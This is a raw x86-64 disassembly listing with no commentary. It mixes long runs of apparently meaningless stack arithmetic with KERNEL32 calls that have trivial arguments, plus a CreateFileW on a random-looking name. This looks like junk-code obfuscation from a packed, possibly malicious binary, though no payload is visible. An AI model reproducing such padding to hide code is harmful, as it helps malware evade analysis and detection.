mov dword [rcx], eax
movzx ecx, word [rsp + 0x35d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x399c], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x843]
sub eax, ecx
mov rcx, qword [rsp + 0x1a2e0]
mov byte [rcx], al
lea rax, [rsp + 0x38a4]
mov qword [0x1402bf438], rax
mov rax, qword [rsp + 0x199f8]
mov eax, dword [rax]
mov dword [rsp + 0xdbc4], eax
mov rax, qword [rsp + 0x19b90]
mov ecx, dword [0x1402ad6dc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19d98]
mov dword [rcx], eax
lea rcx, [rsp + 0x19918]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0xadbc]
mov qword [rsp + 0x1aad8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x9264
mov rcx, qword [rsp + 0x1a768]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xdbc8], eax
mov rax, qword [rsp + 0x19ac0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb798]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd288], eax
movzx eax, byte [rsp + 0x783]
mov byte [rsp + 0x893], al
movzx eax, word [0x1402ad690]
mov rcx, qword [rsp + 0x19ce8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x19e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x19d10]
mov ecx, dword [rsp + 0x8b9c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd9b4], eax
mov rax, qword [rsp + 0x19fb8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xda3c]
shl eax, cl
mov dword [rsp + 0x843c], eax
movsx eax, word [rsp + 0x3a58]
movsx ecx, word [rsp + 0x231c]
xor eax, ecx
mov rcx, qword [0x1402bf470]
mov word [rcx], ax
movsx eax, byte [rsp + 0x3e1]
movsx ecx, byte [rsp + 0x826]
sar eax, cl
mov byte [rsp + 0x807], al
mov rax, qword [rsp + 0x19d00]
movzx eax, byte [rax]
mov byte [rsp + 0x894], al
mov rax, qword [rsp + 0x1a350]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x391c]
imul eax, ecx
mov word [rsp + 0x2e48], ax
mov rax, qword [rsp + 0x1a448]
mov ecx, dword [0x1402ad73c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xbad0], eax
mov eax, dword [rsp + 0xd324]
mov dword [rsp + 0xdbcc], eax
mov rax, qword [rsp + 0x19a30]
mov rcx, qword [rsp + 0x1aa30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7fe0], eax
mov rax, qword [rsp + 0x19c78]
mov eax, dword [rax]
mov dword [rsp + 0xdbd0], eax
mov eax, dword [rsp + 0xd9e0]
mov ecx, dword [rsp + 0xd42c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xdba0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
movzx eax, word [rsp + 0x1c50]
movzx ecx, word [rsp + 0x3638]
imul eax, ecx
mov word [rsp + 0x36a4], ax
lea rax, [rsp + 0x831]
mov qword [0x1402bf430], rax
mov rax, qword [rsp + 0x19e88]
mov eax, dword [rax]
mov ecx, dword [0x1402ad664]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcc40], eax
mov rax, qword [rsp + 0x19c78]
mov rcx, qword [rsp + 0x1a5e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa728], eax
mov r9d, 1
lea r8, [rsp + 0x19cd0]
mov rdx, qword [rsp + 0x1a1e0]
mov rcx, qword [rsp + 0x1a658]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xccf8], eax
mov rax, qword [rsp + 0x19ab0]
mov eax, dword [rax]
mov dword [rsp + 0xdbd4], eax
mov rax, qword [rsp + 0x19bf8]
mov ecx, dword [rsp + 0x80b4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd6f8], eax
mov rax, qword [rsp + 0x19d18]
movzx eax, word [rax]
mov word [rsp + 0x3ad0], ax
movzx eax, byte [rsp + 0x206]
movzx ecx, byte [rsp + 0x878]
add eax, ecx
mov rcx, qword [rsp + 0x1a6b8]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0x3760]
mov rcx, qword [rsp + 0x1a028]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3a94], ax
mov rax, qword [rsp + 0x1a280]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x86c]
add eax, ecx
mov byte [rsp + 0x88], al
mov eax, dword [rsp + 0xa050]
movzx ecx, al
mov eax, dword [0x1402bf6d8]
shl eax, cl
mov dword [0x1402ad754], eax
mov eax, dword [rsp + 0xad2c]
mov ecx, dword [rsp + 0xd4cc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xce9c], eax
mov rax, qword [rsp + 0x1a5d8]
movzx eax, word [rax]
mov word [rsp + 0x3ad4], ax
mov rax, qword [rsp + 0x1a1d0]
movzx eax, byte [rax]
cdq
mov ecx, 0x2e
idiv ecx
mov rcx, qword [rsp + 0x1a398]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a8d8]
mov ecx, dword [rsp + 0xce08]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x1a268]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov dword [rsp + 0xdbd8], eax
mov eax, dword [rsp + 0xd124]
movzx ecx, al
mov eax, dword [rsp + 0xd774]
sar eax, cl
mov dword [rsp + 0xda30], eax
mov eax, dword [rsp + 0xb998]
mov ecx, dword [rsp + 0xa210]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb4a4], eax
mov rax, qword [rsp + 0x1a4e8]
movzx eax, byte [rax]
imul eax, eax, 0x9e
mov byte [rsp + 0x822], al
movzx eax, word [rsp + 0x1c50]
movzx ecx, word [rsp + 0x37a4]
add eax, ecx
mov word [0x1402ad8a8], ax
mov eax, dword [0x1402ad7d4]
mov ecx, dword [rsp + 0xd060]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19bf8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xce74]
mov dword [rsp + 0xdbdc], eax
mov eax, dword [rsp + 0xcee0]
mov ecx, dword [rsp + 0xd4a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd7a8], eax
mov rax, qword [rsp + 0x19c30]
mov eax, dword [rax]
mov dword [rsp + 0xdbe0], eax
mov rax, qword [rsp + 0x19d20]
mov ecx, dword [rsp + 0xac7c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x91e8], eax
mov rax, qword [rsp + 0x19a98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7ac]
and eax, ecx
mov byte [rsp + 0x7a6], al
movsx eax, word [rsp + 0x39b0]
movsx ecx, word [rsp + 0x372c]
add eax, ecx
mov word [rsp + 0x1ba0], ax
movzx eax, byte [rsp + 0x875]
mov rcx, qword [rsp + 0x19828]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x857], al
lea rax, [rsp + 0x1b68]
mov qword [0x1402bf428], rax
mov eax, dword [0x1402ad840]
mov dword [rsp + 0xdbe4], eax
mov rax, qword [rsp + 0x19ed0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce04]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd8fc], eax
movzx eax, byte [rsp + 0x468]
mov byte [rsp + 0x895], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov rax, qword [rsp + 0x1a848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a010]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x383c], ax
mov eax, dword [rsp + 0xd0d8]
mov ecx, dword [rsp + 0xdb80]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a690]
mov eax, dword [rax]
mov dword [rsp + 0xdbe8], eax
mov rax, qword [rsp + 0x198a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19d20]
mov qword [rsp + 0x1aae0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1aae0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xd134], eax
mov r9d, 1
lea r8, [rsp + 0x19b38]
mov rdx, qword [rsp + 0x1aae8]
mov rcx, qword [rsp + 0x19b30]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xda50], eax
mov eax, dword [rsp + 0xa1dc]
movzx ecx, al
mov eax, dword [rsp + 0xd4e8]
shl eax, cl
mov dword [rsp + 0x9890], eax
mov edx, 0x2310
mov rcx, qword [rsp + 0x19fe8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xd48c], eax
movzx eax, word [rsp + 0x35e4]
mov rcx, qword [rsp + 0x1a618]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1402bf428]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x1a258], rax
movzx eax, byte [rsp + 0x7bd]
mov rcx, qword [rsp + 0x1a6c0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7f3], al
mov rax, qword [rsp + 0x19ed0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x873c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19b28]
mov dword [rcx], eax
mov eax, dword [0x1402bf4c0]
mov dword [rsp + 0xdbec], eax
mov rax, qword [rsp + 0x19dd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b7c]
sub eax, ecx
mov word [rsp + 0x3824], ax
lea rax, [rsp + 0x55e]
mov qword [rsp + 0x1aaf0], rax
mov rax, qword [rsp + 0x19e48]
movzx eax, byte [rax]
movzx ecx, byte [0x1402bf49d]
sub eax, ecx
mov byte [rsp + 0x868], al
mov rax, qword [rsp + 0x19b50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a2b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x35f8], ax
mov eax, dword [rsp + 0x9058]
mov dword [rsp + 0xdbf0], eax
lea rax, [rsp + 0xc8fc]
mov qword [0x1402bf420], rax
mov rax, qword [0x1402bf5a8]
mov rcx, qword [rsp + 0x19df8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa240], eax
lea rcx, [rsp + 0x2d770]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xdbf4], eax
lea rdx, [rsp + 0x2c190]
mov rcx, qword [rsp + 0x19ab8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xd48c], eax
mov rax, qword [rsp + 0x1a168]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd308]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa264], eax
mov rax, qword [rsp + 0x19df8]
mov rcx, qword [rsp + 0x1a588]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd87c], eax
mov rax, qword [rsp + 0x1a730]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x821]
add eax, ecx
mov byte [rsp + 0x553], al
movzx eax, word [rsp + 0x3674]
mov word [rsp + 0x3ad8], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xd200], eax
mov eax, dword [rsp + 0xd794]
mov ecx, dword [rsp + 0xda7c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd92c], eax
mov rax, qword [rsp + 0x19b28]
mov eax, dword [rax]
mov dword [rsp + 0xdbf8], eax
mov rax, qword [rsp + 0x19888]
mov rcx, qword [rsp + 0x1a580]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9f14], eax
mov eax, dword [rsp + 0x8b9c]
mov ecx, dword [rsp + 0xcfbc]
xor ecx, eax
mov eax, ecx
mov dword [0x1402ad768], eax
movzx eax, byte [rsp + 0x7e1]
mov rcx, qword [rsp + 0x19e38]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x56], al
mov rax, qword [rsp + 0x1a5d8]
movzx eax, word [rax]
mov rcx, qword [0x1402bf588]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x1a820]
mov word [rcx], ax
movsx eax, byte [rsp + 0x7a5]
mov rcx, qword [rsp + 0x19af8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x82f], al
mov rax, qword [rsp + 0x19890]
movzx eax, word [rax]
mov word [rsp + 0x3adc], ax
mov rax, qword [rsp + 0x19dc0]
mov rcx, qword [rsp + 0x19ed0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7fc0], eax
mov rax, qword [rsp + 0x19a68]
mov eax, dword [rax]
mov dword [rsp + 0xdbfc], eax
movzx eax, word [rsp + 0x36c4]
mov rcx, qword [rsp + 0x1a5d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b88], ax
mov rax, qword [rsp + 0x1a6a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7d1]
add eax, ecx
mov byte [rsp + 0x864], al
mov rax, qword [rsp + 0x1a690]
mov eax, dword [rax]
mov dword [0x1402bf418], eax
mov rax, qword [rsp + 0x19fb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd72c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x89e4], eax
mov eax, dword [rsp + 0xd11c]
mov ecx, dword [0x1402ad850]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19938]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0xd5d0]
mov dword [rsp + 0xdc00], eax
mov rax, qword [rsp + 0x1a820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d84]
add eax, ecx
mov word [rsp + 0x2d6c], ax
movzx eax, byte [rsp + 0x7c6]
mov rcx, qword [rsp + 0x19fa0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x19a50]
mov byte [rcx], al
mov eax, dword [rsp + 0xcf48]
mov dword [rsp + 0xdc04], eax
mov rax, qword [rsp + 0x1a498]
mov ecx, dword [rsp + 0xd594]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x1a630]
mov dword [rcx], eax
mov eax, dword [0x1402bf418]
mov dword [rsp + 0xdc08], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd224], eax
mov rax, qword [rsp + 0x1a5b0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd014]
shl eax, cl
mov dword [0x1402ad778], eax
mov rax, qword [rsp + 0x19a70]
mov rcx, qword [0x1402bf768]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xcb44], eax
mov rax, qword [rsp + 0x19f90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x389c]
xor eax, ecx
mov word [rsp + 0x1f9c], ax
mov r9d, 1
lea r8, [rsp + 0x197a0]
mov rdx, qword [rsp + 0x19eb8]
mov rcx, qword [rsp + 0x19b30]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xd250], eax
mov rax, qword [rsp + 0x1aa78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7df]
sar eax, cl
mov byte [rsp + 0x87d], al
movzx eax, word [0x1402ad88c]
mov rcx, qword [rsp + 0x1a4a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3a6c], ax
mov rax, qword [rsp + 0x19d00]
movzx eax, byte [rax]
mov byte [rsp + 0x896], al
mov rax, qword [rsp + 0x1a608]
mov ecx, dword [rsp + 0xdaa0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xdb5c], eax
mov eax, dword [0x1402bf4d4]
mov dword [rsp + 0xdc0c], eax
mov rax, qword [rsp + 0x19f98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a2e0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x84d], al
lea rax, [rsp + 0x3654]
mov qword [0x1402bf410], rax
mov rax, qword [0x1402bf480]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce1c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb6ec], eax
mov rax, qword [rsp + 0x1a9e8]
mov rcx, qword [rsp + 0x19e90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xbe8c], eax
mov rax, qword [rsp + 0x1a9f8]
mov ecx, dword [0x1402ad7d8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xda28], eax
mov rax, qword [rsp + 0x19ac0]
mov eax, dword [rax]
mov dword [rsp + 0xdc10], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1aaf8], rax
mov rax, qword [rsp + 0x1a0a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x84c]
sub eax, ecx
mov byte [rsp + 0x7e7], al
mov rax, qword [rsp + 0x1a1c0]
movzx eax, word [rax]
movzx ecx, word [0x1402bf5b0]
sub eax, ecx
mov word [rsp + 0x1a18], ax
mov eax, dword [rsp + 0xd294]
mov dword [rsp + 0xdc14], eax
movzx ecx, word [rsp + 0x3930]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3930], ax
mov eax, dword [rsp + 0xd4bc]
mov ecx, dword [rsp + 0xd028]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a580]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19dd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x35ac]
add eax, ecx
mov word [0x1402bf630], ax
mov rax, qword [rsp + 0x1aa98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19898]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x5f7], al
movzx eax, word [rsp + 0x2d04]
mov rcx, qword [rsp + 0x19858]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x242c], ax
lea rcx, [rsp + 0x2afc8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a398]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x30c], al
mov rax, qword [rsp + 0x19f88]
mov eax, dword [rax]
mov dword [rsp + 0xdc18], eax
mov rax, qword [0x1402bf670]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a440]
mov qword [rsp + 0x1ab00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ab00]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd740], eax
mov rax, qword [rsp + 0x19e78]
mov eax, dword [rax]
mov dword [rsp + 0xdc1c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1ab08], rax
mov rax, qword [rsp + 0x1a718]
mov rcx, qword [rsp + 0x1a9e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9664], eax
mov rax, qword [rsp + 0x19e90]
mov ecx, dword [rsp + 0xac04]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9704], eax
movzx eax, word [rsp + 0x3a34]
mov rcx, qword [rsp + 0x1a4a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3670], ax
mov rax, qword [rsp + 0x19d00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7ae]
and eax, ecx
mov byte [0x1402acbfe], al
mov rax, qword [rsp + 0x1a570]
mov ecx, dword [rsp + 0xdc00]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd834], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov dword [rsp + 0xdc20], eax
mov rax, qword [rsp + 0x19f10]
mov rcx, qword [rsp + 0x1a3d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaec4], eax
mov rcx, qword [rsp + 0x1a708]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xd4d0], eax
mov rax, qword [0x1402bf5d0]
mov eax, dword [rax]
mov dword [rsp + 0xdc24], eax
movzx eax, byte [rsp + 0x894]
mov rcx, qword [rsp + 0x19828]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x853], al
mov rax, qword [rsp + 0x19bc0]
movzx eax, word [rax]
mov rcx, qword [0x1402bf4e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3744], ax
movsx eax, word [rsp + 0x3704]
mov rcx, qword [rsp + 0x1a028]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x19f4], ax
movsx eax, byte [rsp + 0x889]
mov rcx, qword [rsp + 0x19f48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7fc], al
mov rax, qword [0x1402bf4e0]
mov ecx, dword [rsp + 0xca14]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad8ac], eax
mov eax, dword [rsp + 0xd600]
mov dword [rsp + 0xdc28], eax
mov rax, qword [rsp + 0x1a0d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1eb0]
sub eax, ecx
mov word [rsp + 0x37cc], ax
movzx eax, byte [rsp + 0x363]
mov rcx, qword [rsp + 0x19f70]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x855], al
mov eax, dword [rsp + 0x97bc]
mov dword [rsp + 0xdc2c], eax
mov rax, qword [rsp + 0x19e50]
mov rcx, qword [rsp + 0x1a528]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xdad0], eax
mov rax, qword [rsp + 0x19f20]
mov eax, dword [rax]
mov dword [rsp + 0xdc30], eax
mov eax, dword [rsp + 0xdb8c]
mov rcx, qword [rsp + 0x19850]
mov qword [rsp + 0x1ab10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ab10]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xb35c], eax
movzx eax, word [rsp + 0x25c4]
mov rcx, qword [rsp + 0x19a28]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x30b8], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xda0c], eax
movzx eax, byte [0x1402acb62]
mov rcx, qword [rsp + 0x19908]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402bf720], al
mov rax, qword [rsp + 0x1a410]
mov rcx, qword [rsp + 0x1a368]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x1aa50]
mov dword [rcx], eax
mov rax, qword [0x1402bf5c0]
mov ecx, dword [rsp + 0x9088]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd678], eax
mov eax, dword [rsp + 0x9a04]
mov dword [rsp + 0xdc34], eax
mov rax, qword [rsp + 0x19e98]
mov ecx, dword [rsp + 0x9124]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd0e0], eax
mov eax, dword [rsp + 0xd698]
mov dword [rsp + 0xdc38], eax
movsx eax, byte [rsp + 0x810]
movsx ecx, byte [rsp + 0x7a6]
add eax, ecx
mov byte [rsp + 0xb4], al
movsx eax, word [rsp + 0x2678]
mov rcx, qword [rsp + 0x1a118]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x375c], ax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19c70]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2d3], al
lea rax, [rsp + 0x1874]
mov qword [0x1402bf408], rax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xdc3c], eax
movzx ecx, word [rsp + 0x3958]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x385c], ax
mov eax, dword [rsp + 0x809c]
mov ecx, dword [rsp + 0xd59c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd374], eax
mov eax, dword [0x1402bf550]
mov dword [rsp + 0xdc40], eax
movzx ecx, word [rsp + 0x3a9c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3a9c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.bRShPlLanlToG7SeR5u
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1ab18], rax
movzx eax, byte [rsp + 0x5b9]
movzx ecx, byte [rsp + 0x7cd]
sub eax, ecx
mov byte [rsp + 0x843], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xcf24], eax
movzx eax, word [rsp + 0x2770]
movzx ecx, word [0x1402ad674]
cdq
idiv ecx
mov rcx, qword [rsp + 0x19be8]
mov word [rcx], ax
mov rax, qword [rsp + 0x1a5b0]
mov eax, dword [rax]
mov dword [rsp + 0xdc44], eax
mov rax, qword [rsp + 0x1a528]
mov rcx, qword [rsp + 0x19eb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd2a8], eax
mov rax, qword [0x1402bf6c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa934]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xb064], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xd3f8], eax
mov eax, dword [rsp + 0xcf74]
movzx ecx, al
mov eax, dword [rsp + 0xd310]
sar eax, cl
mov rcx, qword [rsp + 0x19850]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a2b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19aa8]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1402ad8b0], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xd990], eax
mov rax, qword [rsp + 0x19fd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x48]
and eax, ecx
mov rcx, qword [rsp + 0x19d00]
mov byte [rcx], al
mov eax, dword [rsp + 0xd50c]
mov dword [rsp + 0xdc48], eax
movzx ecx, word [rsp + 0x39b8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3ae0], ax
mov rax, qword [rsp + 0x19bd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd670]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa368], eax
movzx eax, word [0x1402ad7c8]
mov word [rsp + 0x3ae4], ax
mov rax, qword [rsp + 0x1a078]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19a98]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x810], al
movzx eax, byte [rsp + 0x884]
mov rcx, qword [rsp + 0x1a6b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x78], al
movzx eax, word [rsp + 0x1f40]
movzx ecx, word [rsp + 0x3838]
sub eax, ecx
mov rcx, qword [rsp + 0x19a88]
mov word [rcx], ax
mov rax, qword [rsp + 0x19b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd930]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd900], eax
mov rax, qword [rsp + 0x1a928]
mov eax, dword [rax]
mov ecx, dword [0x1402ad740]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad658], eax
mov rax, qword [rsp + 0x1a080]
mov eax, dword [rax]
mov dword [rsp + 0xdc4c], eax
mov rax, qword [rsp + 0x1a608]
mov ecx, dword [rsp + 0xd930]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd604], eax
mov rax, qword [0x1402bf440]
mov eax, dword [rax]
mov dword [rsp + 0xdc50], eax
mov rax, qword [rsp + 0x1a878]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x766]
add eax, ecx
mov rcx, qword [rsp + 0x1a170]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xd880], eax
movzx eax, word [rsp + 0x2874]
movzx ecx, word [rsp + 0x23c4]
add eax, ecx
mov word [rsp + 0x3964], ax
mov eax, dword [rsp + 0xb9f4]
mov dword [rsp + 0xdc54], eax
mov eax, dword [rsp + 0xdbe4]
mov rcx, qword [rsp + 0x1aa00]
mov qword [rsp + 0x1ab20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ab20]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd060], eax
mov rax, qword [0x1402bf5c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x84c8]
xor ecx, eax
mov eax, ecx
